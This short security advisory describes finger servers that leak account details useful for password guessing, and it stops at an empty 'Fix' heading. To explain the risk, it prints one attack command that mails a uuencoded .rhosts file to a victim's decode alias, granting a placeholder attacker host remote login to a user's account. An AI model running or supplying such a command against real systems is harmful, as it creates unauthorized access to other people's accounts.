Excessive finger output


Summary

Some finger servers release too much information about an account.

Impact

Unnecessary information could be used as clues for guessing user passwords or exploiting other system problems.

Background

The Bad Guys(tm) need information about users in order to take a guess at their passwords. Most of them use the finger service to acquire the necessary hints for mounting an attack. Some information can also be used to compromising the user's account.

The problem

Some finger daemons release information about the user's shell, home directory, and group membership. Information like this can be used for an attack and is simply unnecessary. Information such the last time the user logged in could be used to build a table of usage patterns.

By knowing a user's home directory and exploiting a problem in the mail system, a cracker could create an entrance into the system. For example:

badguys $ echo "badguys.we-bad.org evilone" | uuencode /homes/bob/.rhosts | mail decode@victim.we-good.org

Fix